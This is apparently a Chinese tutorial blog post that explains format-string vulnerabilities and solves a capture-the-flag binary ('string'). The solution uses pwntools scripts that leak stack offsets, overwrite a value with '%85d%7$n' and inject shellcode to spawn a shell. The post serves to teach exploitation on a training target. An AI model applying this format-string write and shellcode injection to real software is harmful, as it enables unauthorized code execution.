前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >格式化字符串漏洞分析与解题方法

格式化字符串漏洞分析与解题方法

原创
作者头像
宋三公子
修改2023-04-04 17:01:11
1K0
修改2023-04-04 17:01:11
举报
文章被收录于专栏:开源研究

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据它来解析后面的参数。简单来说格式化字符串的漏洞就是格式字符串要求的参数和实际提供的参数不匹配。我们以x86结构下的例子说明。

在X86结构下,格式化字符串的参数是通过栈传递的,先看一个我们常见的C语言编写的程序代码。

代码语言:javascript
复制
//fmtdemo1.c#include<stdio.h>void main(){   printf("%s %d %s", "Hello World!", 233, "\n");}
编译:gcc -m32 fmtdemo1.c  -o fmtdemo -g
└─# ./fmtdemo                                                                                       33 ⨯Hello World! 233 

        在进入printf()函数之前,程序将参数从右到左依次压栈。进入printf()函数后,函数首先获取第一个参数,一次读取一个字符,如果字符是“%”,那么字符被直接复制到输出,否则读取下一个非空字符,获取相应的参数并解析输出,如下图所示。

      接下来我们把上面的程序修改一下,给格式化字符串加一些“格式化”,使它们出现字符串漏洞。

代码语言:javascript
复制
#fmtdemo2.c#include<stdio.h>void main() {  printf("%s %d %s %x %x %x %3$s", "Hello World!", 233, "\n");}
└─# ./fmtdemo2 Hello World! 233  ffffd450 0 0
图片
图片

       修改后的程序打印输出七个值,而参数只有三个,所以后面三个“%x”打印的是0xffffd430至0xffffd438地址内的数据(ffffd450 0 0),最后一个参数“%3$”则是对第三个参数“\n"的重用,这个奇怪的格式化参数后面继续详细介绍。

图片
图片

        泛泛而谈格式化字符串,让人似懂非懂。简要的说就是:格式化字符串漏洞发生的条件就是格式化字符串要求输入的参数和实际提供的参数不匹配,程序就可能把栈数据泄露出来,导致泄露的内存地址被插入shellcode。下面举详细的例子详细介绍从发现漏洞到利用漏洞的过程。

  以攻防世界里的string题目为例,它是一个amd64-64-little结构的二进制程序。RELRO、Canary和NX这些特征在前面的导入文章中讲过了,可以去学习巩固一下。

  我们用ida反编译该程序。下面是反编译该程序的主要函数的C语言代码。代码审计是逆向工程的重要内容。

图片
图片
图片
图片

通过检查代码,可以发现在函数中存在“printf(format);”格式化漏洞的代码段。代码审计的工作先暂停,我们运行一下这个程序,了解一下该程序的执行逻辑。

图片
图片

对照代码,我们发现一个有意思的东西。

代码语言:javascript
复制
secret[0] is 12C42a0secret[1] is 12C42a4

代码语言:javascript
复制
 v4 = malloc(8uLL);  *v4 = 68;  v4[1] = 85;  puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");  puts("we will tell you two secret ...");  printf("secret[0] is %x\n", v4);  printf("secret[1] is %x\n", v4 + 1);  puts("do not tell anyone ");

  对照反编译的代码,我们发现打印出来的就是v4的地址。我们继续跟踪v4的“行走”路径。在函数sub_400CA6()中,找到了下面这个判断逻辑:

代码语言:javascript
复制
if ( *a1 == a1[1] )  {    puts("Wizard: I will help you! USE YOU SPELL");    v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);    read(0, v1, 0x100uLL);    ((void (__fastcall *)(_QWORD))v1)(0LL);  }

  继续回溯一下a1,会发现它是从main函数中传递过来的,*a1和a1[1]的值分别是68和85。那现在的问题就变成需要找到v4的地址所在。

代码语言:javascript
复制
 *v4 = 68;  v4[1] = 85;  puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");  puts("we will tell you two secret ...");  printf("secret[0] is %x\n", v4);  printf("secret[1] is %x\n", v4 + 1);  puts("do not tell anyone ");  sub_400D72((__int64)v4);

  接下来我们把程序从头完整的走一遍,记录每一步的输出,构造payload来测试一下printf的覆盖位置。在printf(format)漏洞函数中,有下面这行代码:

_isoc99_scanf("%ld", &v2);那么我们构造payload脚本如下:

代码语言:javascript
复制
#!python#!/usr/bin/env python# coding=utf-8 from pwn import *context(log_level = 'debug', arch = 'amd64', os = 'linux')p = process('./string')payload = 'A'*4 + '.%x'*10 p.sendlineafter('be:\n', 'aaa')p.sendlineafter('up?:\n', 'east')p.sendlineafter('leave(0)?:\n', '1')p.sendlineafter("address'\n", '1')p.sendlineafter('is:\n', payload)p.interactive()

 执行结果如下图所示。

代码语言:javascript
复制
[DEBUG] Received 0x12 bytes:    b'And, you wish is:\n'[DEBUG] Sent 0x23 bytes:    b'AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n'[*] Switching to interactive mode[*] Process './string' stopped with exit code 0 (pid 6346)[DEBUG] Received 0x177 bytes:    b'Your wish is\n'    b'AAAA.f7fa9743.0.f7ed8963.d.ffffff88.0.1.41414141.252e7825.2e78252eI hear it, I hear it....\n'    b'Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!\n'    b'Dragon say: HaHa! you were supposed to have a normal\n'    b'RPG game, but I have changed it! you have no weapon and \n'    b'skill! you could not defeat me !\n'    b"That's sound terrible! you meet final boss!but you level is ONE!\n"    b'The End.....Really?\n'Your wish isAAAA.f7fa9743.0.f7ed8963.d.ffffff88.0.1.41414141.252e7825.2e78252eI hear it, I hear it....Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!Dragon say: HaHa! you were supposed to have a normalRPG game, but I have changed it! you have no weapon and skill! you could not defeat me !That's sound terrible! you meet final boss!but you level is ONE!The End.....Really?[*] Got EOF while reading in interactive

   根据41414141(a的ASCII码)出现的位置,我们计算一下偏移值是8,那么我们就可以重新构造python脚本。

代码语言:javascript
复制
[DEBUG] Received 0x17a bytes:    b'Your wish is\n'    b'AAAA.f7fa9743.0.f7ed8963.d.ffffff88.0.1111.41414141.252e7825.2e78252eI hear it, I hear it....\n'    b'Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!\n'    b'Dragon say: HaHa! you were supposed to have a normal\n'    b'RPG game, but I have changed it! you have no weapon and \n'    b'skill! you could not defeat me !\n'    b"That's sound terrible! you meet final boss!but you level is ONE!\n"    b'The End.....Really?\n'Your wish isAAAA.f7fa9743.0.f7ed8963.d.ffffff88.0.1111.41414141.252e7825.2e78252eI hear it, I hear it....Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!Dragon say: HaHa! you were supposed to have a normalRPG game, but I have changed it! you have no weapon and skill! you could not defeat me !That's sound terrible! you meet final boss!but you level is ONE!The End.....Really?[*] Got EOF while

  观察到1111显示在第7个位置,所以我们是需要在v2(前文中提到过)中输入我们需要覆盖的地址,然后通过printf格式化漏洞去赋值。再次修改payload和exp脚本如下。

代码语言:javascript
复制
#!python#!/usr/bin/env python# coding=utf-8 from pwn import *context(log_level = 'debug', arch = 'amd64', os = 'linux')p = process('./string')p.recvuntil('secret[0] is ')addr = int(p.recvuntil('\n'), 16) payload = '%85d%7$n' p.sendlineafter('be:\n', 'aaa')p.sendlineafter('up?:\n', 'east')p.sendlineafter('leave(0)?:\n', '1')p.sendlineafter("address'\n", str(addr))p.sendlineafter('is:\n', payload)p.interactive()
代码语言:javascript
复制
[DEBUG] Received 0x12 bytes:    b'And, you wish is:\n'[DEBUG] Sent 0x9 bytes:    b'%85d%7$n\n'[*] Switching to interactive mode[DEBUG] Received 0x19d bytes:    b'Your wish is\n'    b'                                                                           -134572221I hear it, I hear it....\n'    b'Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!\n'    b'Dragon say: HaHa! you were supposed to have a normal\n'    b'RPG game, but I have changed it! you have no weapon and \n'    b'skill! you could not defeat me !\n'    b"That's sound terrible! you meet final boss!but you level is ONE!\n"    b'Wizard: I will help you! USE YOU SPELL\n'Your wish is                                                                           -134572221I hear it, I hear it....Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!Dragon say: HaHa! you were supposed to have a normalRPG game, but I have changed it! you have no weapon and skill! you could not defeat me !That's sound terrible! you meet final boss!but you level is ONE!Wizard: I will help you! USE YOU SPELL[*] Got EOF while reading in interactive$

看到了“USE YOU SPELL”,我们还要干什么?

  再把代码贴一遍!在这里,我们可以写shellcode的流程了。把完整的脚本贴出来。

代码语言:javascript
复制
#!python#!/usr/bin/env python# coding=utf-8from pwn import *#p = remote('111.200.241.244','54236')p = process('./string')p.recvuntil('secret[0] is ')# 获取第四位的地址,用切片切掉最后的\n,开始的空格在上面的 recvuntil 中# 获得的数字直接用 int(x, 16) 即可转成十进制整型储存在 addr 中addr = int(p.recvuntil('\n')[:-1], 16)
p.recvuntil('name be:\n')p.sendline('wellsong')p.recvuntil('up?:\n')p.sendline('east')p.recvuntil('leave(0)?:')p.sendline('1')p.recv()p.sendline(str(addr))p.recv()p.sendline('%85x%7$n')rec = p.recvuntil('SPELL\n')
context(os='linux', arch='amd64')p.sendline(asm(shellcraft.sh()))p.interactive()

      本地执行没问题了,修改为远程执行也没有问题。大家自己可以练习一下。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
代码审计
代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档